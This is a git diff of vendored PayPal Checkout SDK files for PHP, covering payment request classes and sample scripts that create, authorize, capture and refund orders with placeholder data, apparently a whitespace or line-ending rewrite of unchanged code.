urlencode($authorizationId), $this->path); - $this->headers["Content-Type"] = "application/json"; - } - - - public function payPalRequestId($payPalRequestId) - { - $this->headers["PayPal-Request-Id"] = $payPalRequestId; - } - public function prefer($prefer) - { - $this->headers["Prefer"] = $prefer; - } -} +path = str_replace("{authorization_id}", urlencode($authorizationId), $this->path); + $this->headers["Content-Type"] = "application/json"; + } + + + public function payPalRequestId($payPalRequestId) + { + $this->headers["PayPal-Request-Id"] = $payPalRequestId; + } + public function prefer($prefer) + { + $this->headers["Prefer"] = $prefer; + } +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsVoidRequest.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsVoidRequest.php index df89f3a8ee..f5c0f74fc5 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsVoidRequest.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsVoidRequest.php @@ -1,25 +1,25 @@ -path = str_replace("{authorization_id}", urlencode($authorizationId), $this->path); - $this->headers["Content-Type"] = "application/json"; - } - - -} +path = str_replace("{authorization_id}", urlencode($authorizationId), $this->path); + $this->headers["Content-Type"] = "application/json"; + } + + +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/CapturesGetRequest.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/CapturesGetRequest.php index c1ee75b64c..5b9b335723 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/CapturesGetRequest.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/CapturesGetRequest.php @@ -1,25 +1,25 @@ -path = str_replace("{capture_id}", urlencode($captureId), $this->path); - $this->headers["Content-Type"] = "application/json"; - } - - -} +path = str_replace("{capture_id}", urlencode($captureId), $this->path); + $this->headers["Content-Type"] = "application/json"; + } + + +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/CapturesRefundRequest.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/CapturesRefundRequest.php index f5f1982fe2..7624c6b20f 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/CapturesRefundRequest.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/CapturesRefundRequest.php @@ -1,33 +1,33 @@ -path = str_replace("{capture_id}", urlencode($captureId), $this->path); - $this->headers["Content-Type"] = "application/json"; - } - - - public function payPalRequestId($payPalRequestId) - { - $this->headers["PayPal-Request-Id"] = $payPalRequestId; - } - public function prefer($prefer) - { - $this->headers["Prefer"] = $prefer; - } -} +path = str_replace("{capture_id}", urlencode($captureId), $this->path); + $this->headers["Content-Type"] = "application/json"; + } + + + public function payPalRequestId($payPalRequestId) + { + $this->headers["PayPal-Request-Id"] = $payPalRequestId; + } + public function prefer($prefer) + { + $this->headers["Prefer"] = $prefer; + } +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/RefundsGetRequest.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/RefundsGetRequest.php index b5a2aee3b5..cdf1b8af95 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/RefundsGetRequest.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/RefundsGetRequest.php @@ -1,25 +1,25 @@ -path = str_replace("{refund_id}", urlencode($refundId), $this->path); - $this->headers["Content-Type"] = "application/json"; - } - - -} +path = str_replace("{refund_id}", urlencode($refundId), $this->path); + $this->headers["Content-Type"] = "application/json"; + } + + +} diff --git a/vendor/paypal/paypal-checkout-sdk/phpunit.xml b/vendor/paypal/paypal-checkout-sdk/phpunit.xml index 7c5978b32f..4e64bcbfc3 100644 --- a/vendor/paypal/paypal-checkout-sdk/phpunit.xml +++ b/vendor/paypal/paypal-checkout-sdk/phpunit.xml @@ -1,9 +1,9 @@ - - - - - - ./tests/ - - - + + + + + + ./tests/ + + + diff --git a/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/AuthorizeOrder.php b/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/AuthorizeOrder.php index a8b68c55a4..06cc7755a7 100644 --- a/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/AuthorizeOrder.php +++ b/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/AuthorizeOrder.php @@ -1,61 +1,61 @@ -body = self::buildRequestBody(); - - $client = PayPalClient::client(); - $response = $client->execute($request); - if ($debug) - { - print "Status Code: {$response->statusCode}\n"; - print "Status: {$response->result->status}\n"; - print "Order ID: {$response->result->id}\n"; - print "Authorization ID: {$response->result->purchase_units[0]->payments->authorizations[0]->id}\n"; - print "Links:\n"; - foreach($response->result->links as $link) - { - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - print "Authorization Links:\n"; - foreach($response->result->purchase_units[0]->payments->authorizations[0]->links as $link) - { - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - // To toggle printing the whole response body comment/uncomment below line - echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; - } - return $response; - } -} - -/** - * This is an driver function which invokes authorize order. - */ -if (!count(debug_backtrace())) -{ - AuthorizeOrder::authorizeOrder('1U242387CB956380X', true); +body = self::buildRequestBody(); + + $client = PayPalClient::client(); + $response = $client->execute($request); + if ($debug) + { + print "Status Code: {$response->statusCode}\n"; + print "Status: {$response->result->status}\n"; + print "Order ID: {$response->result->id}\n"; + print "Authorization ID: {$response->result->purchase_units[0]->payments->authorizations[0]->id}\n"; + print "Links:\n"; + foreach($response->result->links as $link) + { + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + print "Authorization Links:\n"; + foreach($response->result->purchase_units[0]->payments->authorizations[0]->links as $link) + { + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + // To toggle printing the whole response body comment/uncomment below line + echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; + } + return $response; + } +} + +/** + * This is an driver function which invokes authorize order. + */ +if (!count(debug_backtrace())) +{ + AuthorizeOrder::authorizeOrder('1U242387CB956380X', true); } \ No newline at end of file diff --git a/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/CaptureOrder.php b/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/CaptureOrder.php index 8917dc40dc..9dffd386b6 100644 --- a/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/CaptureOrder.php +++ b/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/CaptureOrder.php @@ -1,55 +1,55 @@ -body = self::buildRequestBody(); - $client = PayPalClient::client(); - $response = $client->execute($request); - - if ($debug) - { - print "Status Code: {$response->statusCode}\n"; - print "Status: {$response->result->status}\n"; - print "Capture ID: {$response->result->id}\n"; - print "Links:\n"; - foreach($response->result->links as $link) - { - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - // To toggle printing the whole response body comment/uncomment below line - echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; - } - return $response; - } -} - -/** - * Driver function for invoking the capture flow. - */ -if (!count(debug_backtrace())) -{ - CaptureOrder::captureOrder('18A38324BV5456924', true); +body = self::buildRequestBody(); + $client = PayPalClient::client(); + $response = $client->execute($request); + + if ($debug) + { + print "Status Code: {$response->statusCode}\n"; + print "Status: {$response->result->status}\n"; + print "Capture ID: {$response->result->id}\n"; + print "Links:\n"; + foreach($response->result->links as $link) + { + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + // To toggle printing the whole response body comment/uncomment below line + echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; + } + return $response; + } +} + +/** + * Driver function for invoking the capture flow. + */ +if (!count(debug_backtrace())) +{ + CaptureOrder::captureOrder('18A38324BV5456924', true); } \ No newline at end of file diff --git a/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/CreateOrder.php b/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/CreateOrder.php index 99b20e0e0c..e8f96cef7b 100644 --- a/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/CreateOrder.php +++ b/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/CreateOrder.php @@ -1,237 +1,237 @@ - 'AUTHORIZE', - 'application_context' => - array( - 'return_url' => 'https://example.com/return', - 'cancel_url' => 'https://example.com/cancel', - 'brand_name' => 'EXAMPLE INC', - 'locale' => 'en-US', - 'landing_page' => 'BILLING', - 'shipping_preference' => 'SET_PROVIDED_ADDRESS', - 'user_action' => 'PAY_NOW', - ), - 'purchase_units' => - array( - 0 => - array( - 'reference_id' => 'PUHF', - 'description' => 'Sporting Goods', - 'custom_id' => 'CUST-HighFashions', - 'soft_descriptor' => 'HighFashions', - 'amount' => - array( - 'currency_code' => 'USD', - 'value' => '220.00', - 'breakdown' => - array( - 'item_total' => - array( - 'currency_code' => 'USD', - 'value' => '180.00', - ), - 'shipping' => - array( - 'currency_code' => 'USD', - 'value' => '20.00', - ), - 'handling' => - array( - 'currency_code' => 'USD', - 'value' => '10.00', - ), - 'tax_total' => - array( - 'currency_code' => 'USD', - 'value' => '20.00', - ), - 'shipping_discount' => - array( - 'currency_code' => 'USD', - 'value' => '10.00', - ), - ), - ), - 'items' => - array( - 0 => - array( - 'name' => 'T-Shirt', - 'description' => 'Green XL', - 'sku' => 'sku01', - 'unit_amount' => - array( - 'currency_code' => 'USD', - 'value' => '90.00', - ), - 'tax' => - array( - 'currency_code' => 'USD', - 'value' => '10.00', - ), - 'quantity' => '1', - 'category' => 'PHYSICAL_GOODS', - ), - 1 => - array( - 'name' => 'Shoes', - 'description' => 'Running, Size 10.5', - 'sku' => 'sku02', - 'unit_amount' => - array( - 'currency_code' => 'USD', - 'value' => '45.00', - ), - 'tax' => - array( - 'currency_code' => 'USD', - 'value' => '5.00', - ), - 'quantity' => '2', - 'category' => 'PHYSICAL_GOODS', - ), - ), - 'shipping' => - array( - 'method' => 'United States Postal Service', - 'name' => - array( - 'full_name' => 'John Doe', - ), - 'address' => - array( - 'address_line_1' => '123 Townsend St', - 'address_line_2' => 'Floor 6', - 'admin_area_2' => 'San Francisco', - 'admin_area_1' => 'CA', - 'postal_code' => '94107', - 'country_code' => 'US', - ), - ), - ), - ), - ); - } - - /** - * Setting up the JSON request body for creating the Order with minimum request body. The Intent in the - * request body should be set as "AUTHORIZE" for authorize intent flow. - * - */ - private static function buildMinimumRequestBody() - { - return array( - 'intent' => 'AUTHORIZE', - 'application_context' => - array( - 'return_url' => 'https://example.com/return', - 'cancel_url' => 'https://example.com/cancel' - ), - 'purchase_units' => - array( - 0 => - array( - 'amount' => - array( - 'currency_code' => 'USD', - 'value' => '220.00' - ) - ) - ) - ); - } - - /** - * This is the sample function which can be used to create an order. It uses the - * JSON body returned by buildRequestBody() to create an new Order. - */ - public static function createOrder($debug=false) - { - $request = new OrdersCreateRequest(); - $request->headers["prefer"] = "return=representation"; - $request->body = CreateOrder::buildRequestBody(); - - $client = PayPalClient::client(); - $response = $client->execute($request); - if ($debug) - { - print "Status Code: {$response->statusCode}\n"; - print "Status: {$response->result->status}\n"; - print "Order ID: {$response->result->id}\n"; - print "Intent: {$response->result->intent}\n"; - print "Links:\n"; - foreach($response->result->links as $link) - { - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - - print "Gross Amount: {$response->result->purchase_units[0]->amount->currency_code} {$response->result->purchase_units[0]->amount->value}\n"; - - // To toggle printing the whole response body comment/uncomment below line - echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; - } - - - return $response; - } - - /** - * This is the sample function which can be used to create an order. It uses the - * JSON body returned by buildMinimumRequestBody() to create an new Order. - */ - public static function createOrderWithMinimumBody($debug=false) - { - $request = new OrdersCreateRequest(); - $request->headers["prefer"] = "return=representation"; - $request->body = CreateOrder::buildMinimumRequestBody(); - - $client = PayPalClient::client(); - $response = $client->execute($request); - if ($debug) - { - print "Order With Minimum Body\n"; - print "Status Code: {$response->statusCode}\n"; - print "Status: {$response->result->status}\n"; - print "Order ID: {$response->result->id}\n"; - print "Intent: {$response->result->intent}\n"; - print "Links:\n"; - foreach($response->result->links as $link) - { - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - - print "Gross Amount: {$response->result->purchase_units[0]->amount->currency_code} {$response->result->purchase_units[0]->amount->value}\n"; - - // To toggle printing the whole response body comment/uncomment below line - echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; - } - - - return $response; - } -} - - - -if (!count(debug_backtrace())) -{ - CreateOrder::createOrder(true); - CreateOrder::createOrderWithMinimumBody(true); + 'AUTHORIZE', + 'application_context' => + array( + 'return_url' => 'https://example.com/return', + 'cancel_url' => 'https://example.com/cancel', + 'brand_name' => 'EXAMPLE INC', + 'locale' => 'en-US', + 'landing_page' => 'BILLING', + 'shipping_preference' => 'SET_PROVIDED_ADDRESS', + 'user_action' => 'PAY_NOW', + ), + 'purchase_units' => + array( + 0 => + array( + 'reference_id' => 'PUHF', + 'description' => 'Sporting Goods', + 'custom_id' => 'CUST-HighFashions', + 'soft_descriptor' => 'HighFashions', + 'amount' => + array( + 'currency_code' => 'USD', + 'value' => '220.00', + 'breakdown' => + array( + 'item_total' => + array( + 'currency_code' => 'USD', + 'value' => '180.00', + ), + 'shipping' => + array( + 'currency_code' => 'USD', + 'value' => '20.00', + ), + 'handling' => + array( + 'currency_code' => 'USD', + 'value' => '10.00', + ), + 'tax_total' => + array( + 'currency_code' => 'USD', + 'value' => '20.00', + ), + 'shipping_discount' => + array( + 'currency_code' => 'USD', + 'value' => '10.00', + ), + ), + ), + 'items' => + array( + 0 => + array( + 'name' => 'T-Shirt', + 'description' => 'Green XL', + 'sku' => 'sku01', + 'unit_amount' => + array( + 'currency_code' => 'USD', + 'value' => '90.00', + ), + 'tax' => + array( + 'currency_code' => 'USD', + 'value' => '10.00', + ), + 'quantity' => '1', + 'category' => 'PHYSICAL_GOODS', + ), + 1 => + array( + 'name' => 'Shoes', + 'description' => 'Running, Size 10.5', + 'sku' => 'sku02', + 'unit_amount' => + array( + 'currency_code' => 'USD', + 'value' => '45.00', + ), + 'tax' => + array( + 'currency_code' => 'USD', + 'value' => '5.00', + ), + 'quantity' => '2', + 'category' => 'PHYSICAL_GOODS', + ), + ), + 'shipping' => + array( + 'method' => 'United States Postal Service', + 'name' => + array( + 'full_name' => 'John Doe', + ), + 'address' => + array( + 'address_line_1' => '123 Townsend St', + 'address_line_2' => 'Floor 6', + 'admin_area_2' => 'San Francisco', + 'admin_area_1' => 'CA', + 'postal_code' => '94107', + 'country_code' => 'US', + ), + ), + ), + ), + ); + } + + /** + * Setting up the JSON request body for creating the Order with minimum request body. The Intent in the + * request body should be set as "AUTHORIZE" for authorize intent flow. + * + */ + private static function buildMinimumRequestBody() + { + return array( + 'intent' => 'AUTHORIZE', + 'application_context' => + array( + 'return_url' => 'https://example.com/return', + 'cancel_url' => 'https://example.com/cancel' + ), + 'purchase_units' => + array( + 0 => + array( + 'amount' => + array( + 'currency_code' => 'USD', + 'value' => '220.00' + ) + ) + ) + ); + } + + /** + * This is the sample function which can be used to create an order. It uses the + * JSON body returned by buildRequestBody() to create an new Order. + */ + public static function createOrder($debug=false) + { + $request = new OrdersCreateRequest(); + $request->headers["prefer"] = "return=representation"; + $request->body = CreateOrder::buildRequestBody(); + + $client = PayPalClient::client(); + $response = $client->execute($request); + if ($debug) + { + print "Status Code: {$response->statusCode}\n"; + print "Status: {$response->result->status}\n"; + print "Order ID: {$response->result->id}\n"; + print "Intent: {$response->result->intent}\n"; + print "Links:\n"; + foreach($response->result->links as $link) + { + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + + print "Gross Amount: {$response->result->purchase_units[0]->amount->currency_code} {$response->result->purchase_units[0]->amount->value}\n"; + + // To toggle printing the whole response body comment/uncomment below line + echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; + } + + + return $response; + } + + /** + * This is the sample function which can be used to create an order. It uses the + * JSON body returned by buildMinimumRequestBody() to create an new Order. + */ + public static function createOrderWithMinimumBody($debug=false) + { + $request = new OrdersCreateRequest(); + $request->headers["prefer"] = "return=representation"; + $request->body = CreateOrder::buildMinimumRequestBody(); + + $client = PayPalClient::client(); + $response = $client->execute($request); + if ($debug) + { + print "Order With Minimum Body\n"; + print "Status Code: {$response->statusCode}\n"; + print "Status: {$response->result->status}\n"; + print "Order ID: {$response->result->id}\n"; + print "Intent: {$response->result->intent}\n"; + print "Links:\n"; + foreach($response->result->links as $link) + { + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + + print "Gross Amount: {$response->result->purchase_units[0]->amount->currency_code} {$response->result->purchase_units[0]->amount->value}\n"; + + // To toggle printing the whole response body comment/uncomment below line + echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; + } + + + return $response; + } +} + + + +if (!count(debug_backtrace())) +{ + CreateOrder::createOrder(true); + CreateOrder::createOrderWithMinimumBody(true); } \ No newline at end of file diff --git a/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/RunAll.php b/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/RunAll.php index 002f4e257d..708be9d68c 100644 --- a/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/RunAll.php +++ b/vendor/paypal/paypal-checkout-sdk/samples/AuthorizeIntentExamples/RunAll.php @@ -1,82 +1,82 @@ -statusCode == 201) -{ - $orderId = $order->result->id; - print "Links:\n"; - for ($i = 0; $i < count($order->result->links); ++$i) - { - $link = $order->result->links[$i]; - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - print "Created Successfully\n"; - print "Copy approve link and paste it in browser. Login with buyer account and follow the instructions.\nOnce approved hit enter...\n"; -} -else { - exit(1); -} - -$handle = fopen ("php://stdin","r"); -$line = fgets($handle); -fclose($handle); - -print "Authorizing Order...\n"; -$response = AuthorizeOrder::authorizeOrder($orderId); -$authId = ""; - -if ($response->statusCode == 201) -{ - print "Authorized Successfully\n"; - $authId = $response->result->purchase_units[0]->payments->authorizations[0]->id; -} -else { - exit(1); -} - -print "\nCapturing Order...\n"; -$response = CaptureOrder::captureOrder($authId); -if ($response->statusCode == 201) -{ - print "Captured Successfully\n"; - print "Status Code: {$response->statusCode}\n"; - print "Status: {$response->result->status}\n"; - $captureId = $response->result->id; - print "Capture ID: {$captureId}\n"; - print "Links:\n"; - for ($i = 0; $i < count($response->result->links); ++$i){ - $link = $response->result->links[$i]; - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } -} -else { - exit(1); -} - -print "\nRefunding Order...\n"; -$response = RefundOrder::refundOrder($captureId); -if ($response->statusCode == 201) -{ - print "Refunded Successfully\n"; - print "Status Code: {$response->statusCode}\n"; - print "Status: {$response->result->status}\n"; - print "Refund ID: {$response->result->id}\n"; - print "Links:\n"; - for ($i = 0; $i < count($response->result->links); ++$i){ - $link = $response->result->links[$i]; - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } -} -else { - exit(1); -} +statusCode == 201) +{ + $orderId = $order->result->id; + print "Links:\n"; + for ($i = 0; $i < count($order->result->links); ++$i) + { + $link = $order->result->links[$i]; + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + print "Created Successfully\n"; + print "Copy approve link and paste it in browser. Login with buyer account and follow the instructions.\nOnce approved hit enter...\n"; +} +else { + exit(1); +} + +$handle = fopen ("php://stdin","r"); +$line = fgets($handle); +fclose($handle); + +print "Authorizing Order...\n"; +$response = AuthorizeOrder::authorizeOrder($orderId); +$authId = ""; + +if ($response->statusCode == 201) +{ + print "Authorized Successfully\n"; + $authId = $response->result->purchase_units[0]->payments->authorizations[0]->id; +} +else { + exit(1); +} + +print "\nCapturing Order...\n"; +$response = CaptureOrder::captureOrder($authId); +if ($response->statusCode == 201) +{ + print "Captured Successfully\n"; + print "Status Code: {$response->statusCode}\n"; + print "Status: {$response->result->status}\n"; + $captureId = $response->result->id; + print "Capture ID: {$captureId}\n"; + print "Links:\n"; + for ($i = 0; $i < count($response->result->links); ++$i){ + $link = $response->result->links[$i]; + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } +} +else { + exit(1); +} + +print "\nRefunding Order...\n"; +$response = RefundOrder::refundOrder($captureId); +if ($response->statusCode == 201) +{ + print "Refunded Successfully\n"; + print "Status Code: {$response->statusCode}\n"; + print "Status: {$response->result->status}\n"; + print "Refund ID: {$response->result->id}\n"; + print "Links:\n"; + for ($i = 0; $i < count($response->result->links); ++$i){ + $link = $response->result->links[$i]; + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } +} +else { + exit(1); +} diff --git a/vendor/paypal/paypal-checkout-sdk/samples/CaptureIntentExamples/CaptureOrder.php b/vendor/paypal/paypal-checkout-sdk/samples/CaptureIntentExamples/CaptureOrder.php index 6a0bacb7bc..931d5d95d5 100644 --- a/vendor/paypal/paypal-checkout-sdk/samples/CaptureIntentExamples/CaptureOrder.php +++ b/vendor/paypal/paypal-checkout-sdk/samples/CaptureIntentExamples/CaptureOrder.php @@ -1,60 +1,60 @@ -execute($request); - if ($debug) - { - print "Status Code: {$response->statusCode}\n"; - print "Status: {$response->result->status}\n"; - print "Order ID: {$response->result->id}\n"; - print "Links:\n"; - foreach($response->result->links as $link) - { - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - print "Capture Ids:\n"; - foreach($response->result->purchase_units as $purchase_unit) - { - foreach($purchase_unit->payments->captures as $capture) - { - print "\t{$capture->id}"; - } - } - // To toggle printing the whole response body comment/uncomment below line - echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; - } - - return $response; - } -} - -/** - * This is the driver function which invokes the captureOrder function with - * Approved Order Id to capture the order payment. - */ -if (!count(debug_backtrace())) -{ - CaptureOrder::captureOrder('0F105083N67049335', true); +execute($request); + if ($debug) + { + print "Status Code: {$response->statusCode}\n"; + print "Status: {$response->result->status}\n"; + print "Order ID: {$response->result->id}\n"; + print "Links:\n"; + foreach($response->result->links as $link) + { + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + print "Capture Ids:\n"; + foreach($response->result->purchase_units as $purchase_unit) + { + foreach($purchase_unit->payments->captures as $capture) + { + print "\t{$capture->id}"; + } + } + // To toggle printing the whole response body comment/uncomment below line + echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; + } + + return $response; + } +} + +/** + * This is the driver function which invokes the captureOrder function with + * Approved Order Id to capture the order payment. + */ +if (!count(debug_backtrace())) +{ + CaptureOrder::captureOrder('0F105083N67049335', true); } \ No newline at end of file diff --git a/vendor/paypal/paypal-checkout-sdk/samples/CaptureIntentExamples/CreateOrder.php b/vendor/paypal/paypal-checkout-sdk/samples/CaptureIntentExamples/CreateOrder.php index 0bb1764961..37a8e63476 100644 --- a/vendor/paypal/paypal-checkout-sdk/samples/CaptureIntentExamples/CreateOrder.php +++ b/vendor/paypal/paypal-checkout-sdk/samples/CaptureIntentExamples/CreateOrder.php @@ -1,178 +1,178 @@ - 'CAPTURE', - 'application_context' => - array( - 'return_url' => 'https://example.com/return', - 'cancel_url' => 'https://example.com/cancel', - 'brand_name' => 'EXAMPLE INC', - 'locale' => 'en-US', - 'landing_page' => 'BILLING', - 'shipping_preference' => 'SET_PROVIDED_ADDRESS', - 'user_action' => 'PAY_NOW', - ), - 'purchase_units' => - array( - 0 => - array( - 'reference_id' => 'PUHF', - 'description' => 'Sporting Goods', - 'custom_id' => 'CUST-HighFashions', - 'soft_descriptor' => 'HighFashions', - 'amount' => - array( - 'currency_code' => 'USD', - 'value' => '220.00', - 'breakdown' => - array( - 'item_total' => - array( - 'currency_code' => 'USD', - 'value' => '180.00', - ), - 'shipping' => - array( - 'currency_code' => 'USD', - 'value' => '20.00', - ), - 'handling' => - array( - 'currency_code' => 'USD', - 'value' => '10.00', - ), - 'tax_total' => - array( - 'currency_code' => 'USD', - 'value' => '20.00', - ), - 'shipping_discount' => - array( - 'currency_code' => 'USD', - 'value' => '10.00', - ), - ), - ), - 'items' => - array( - 0 => - array( - 'name' => 'T-Shirt', - 'description' => 'Green XL', - 'sku' => 'sku01', - 'unit_amount' => - array( - 'currency_code' => 'USD', - 'value' => '90.00', - ), - 'tax' => - array( - 'currency_code' => 'USD', - 'value' => '10.00', - ), - 'quantity' => '1', - 'category' => 'PHYSICAL_GOODS', - ), - 1 => - array( - 'name' => 'Shoes', - 'description' => 'Running, Size 10.5', - 'sku' => 'sku02', - 'unit_amount' => - array( - 'currency_code' => 'USD', - 'value' => '45.00', - ), - 'tax' => - array( - 'currency_code' => 'USD', - 'value' => '5.00', - ), - 'quantity' => '2', - 'category' => 'PHYSICAL_GOODS', - ), - ), - 'shipping' => - array( - 'method' => 'United States Postal Service', - 'name' => - array( - 'full_name' => 'John Doe', - ), - 'address' => - array( - 'address_line_1' => '123 Townsend St', - 'address_line_2' => 'Floor 6', - 'admin_area_2' => 'San Francisco', - 'admin_area_1' => 'CA', - 'postal_code' => '94107', - 'country_code' => 'US', - ), - ), - ), - ), - ); - } - - /** - * This is the sample function which can be sued to create an order. It uses the - * JSON body returned by buildRequestBody() to create an new Order. - */ - public static function createOrder($debug=false) - { - $request = new OrdersCreateRequest(); - $request->headers["prefer"] = "return=representation"; - $request->body = self::buildRequestBody(); - - $client = PayPalClient::client(); - $response = $client->execute($request); - if ($debug) - { - print "Status Code: {$response->statusCode}\n"; - print "Status: {$response->result->status}\n"; - print "Order ID: {$response->result->id}\n"; - print "Intent: {$response->result->intent}\n"; - print "Links:\n"; - foreach($response->result->links as $link) - { - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - // To toggle printing the whole response body comment/uncomment below line - echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; - } - - - return $response; - } -} - - -/** - * This is the driver function which invokes the createOrder function to create - * an sample order. - */ -if (!count(debug_backtrace())) -{ - CreateOrder::createOrder(true); -} - - - + 'CAPTURE', + 'application_context' => + array( + 'return_url' => 'https://example.com/return', + 'cancel_url' => 'https://example.com/cancel', + 'brand_name' => 'EXAMPLE INC', + 'locale' => 'en-US', + 'landing_page' => 'BILLING', + 'shipping_preference' => 'SET_PROVIDED_ADDRESS', + 'user_action' => 'PAY_NOW', + ), + 'purchase_units' => + array( + 0 => + array( + 'reference_id' => 'PUHF', + 'description' => 'Sporting Goods', + 'custom_id' => 'CUST-HighFashions', + 'soft_descriptor' => 'HighFashions', + 'amount' => + array( + 'currency_code' => 'USD', + 'value' => '220.00', + 'breakdown' => + array( + 'item_total' => + array( + 'currency_code' => 'USD', + 'value' => '180.00', + ), + 'shipping' => + array( + 'currency_code' => 'USD', + 'value' => '20.00', + ), + 'handling' => + array( + 'currency_code' => 'USD', + 'value' => '10.00', + ), + 'tax_total' => + array( + 'currency_code' => 'USD', + 'value' => '20.00', + ), + 'shipping_discount' => + array( + 'currency_code' => 'USD', + 'value' => '10.00', + ), + ), + ), + 'items' => + array( + 0 => + array( + 'name' => 'T-Shirt', + 'description' => 'Green XL', + 'sku' => 'sku01', + 'unit_amount' => + array( + 'currency_code' => 'USD', + 'value' => '90.00', + ), + 'tax' => + array( + 'currency_code' => 'USD', + 'value' => '10.00', + ), + 'quantity' => '1', + 'category' => 'PHYSICAL_GOODS', + ), + 1 => + array( + 'name' => 'Shoes', + 'description' => 'Running, Size 10.5', + 'sku' => 'sku02', + 'unit_amount' => + array( + 'currency_code' => 'USD', + 'value' => '45.00', + ), + 'tax' => + array( + 'currency_code' => 'USD', + 'value' => '5.00', + ), + 'quantity' => '2', + 'category' => 'PHYSICAL_GOODS', + ), + ), + 'shipping' => + array( + 'method' => 'United States Postal Service', + 'name' => + array( + 'full_name' => 'John Doe', + ), + 'address' => + array( + 'address_line_1' => '123 Townsend St', + 'address_line_2' => 'Floor 6', + 'admin_area_2' => 'San Francisco', + 'admin_area_1' => 'CA', + 'postal_code' => '94107', + 'country_code' => 'US', + ), + ), + ), + ), + ); + } + + /** + * This is the sample function which can be sued to create an order. It uses the + * JSON body returned by buildRequestBody() to create an new Order. + */ + public static function createOrder($debug=false) + { + $request = new OrdersCreateRequest(); + $request->headers["prefer"] = "return=representation"; + $request->body = self::buildRequestBody(); + + $client = PayPalClient::client(); + $response = $client->execute($request); + if ($debug) + { + print "Status Code: {$response->statusCode}\n"; + print "Status: {$response->result->status}\n"; + print "Order ID: {$response->result->id}\n"; + print "Intent: {$response->result->intent}\n"; + print "Links:\n"; + foreach($response->result->links as $link) + { + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + // To toggle printing the whole response body comment/uncomment below line + echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; + } + + + return $response; + } +} + + +/** + * This is the driver function which invokes the createOrder function to create + * an sample order. + */ +if (!count(debug_backtrace())) +{ + CreateOrder::createOrder(true); +} + + + diff --git a/vendor/paypal/paypal-checkout-sdk/samples/CaptureIntentExamples/RunAll.php b/vendor/paypal/paypal-checkout-sdk/samples/CaptureIntentExamples/RunAll.php index 3c1390a24f..e576ff06e3 100644 --- a/vendor/paypal/paypal-checkout-sdk/samples/CaptureIntentExamples/RunAll.php +++ 